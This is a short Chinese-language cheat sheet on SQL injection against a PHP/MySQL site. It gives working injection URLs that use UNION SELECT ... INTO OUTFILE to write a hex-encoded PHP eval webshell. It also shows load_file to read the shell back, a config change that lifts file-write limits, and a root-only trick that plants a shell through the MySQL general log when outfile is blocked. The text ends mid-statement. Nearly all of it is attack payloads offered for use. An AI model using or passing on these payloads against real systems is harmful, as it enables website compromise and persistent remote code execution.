1,写入webshell
http://172.18.199.248/01-cookie/selectarticle.php?id=-1 union select 1,2,0x3C3F706870206576616C28245F504F53545B315D293F3E,4,5 into outfile 'C:\\xampp\\htdocs\\01-cookie\\conn.php'
2,读取webshell
http://172.18.199.248/01-cookie/selectarticle.php?id=-1 union select 1,2,load_file(0x433A5C5C78616D70705C5C6874646F63735C5C30312D636F6F6B69655C5C31322E706870),4,5
配置my.ini 设置可以读写任何地方
secure-file-priv=
3,sql注入写文件都有哪些函数?
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\\wwwroot\baidu.com\nvhack.php';
4.通过数据库日志写shell outfile被禁止,或者写入文件被拦截;
在数据库中操作如下:(必须是root权限)
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址
select '<?php eval($_POST[cmd]);?>
4.遇见其他拦截用;过滤后面的语句
|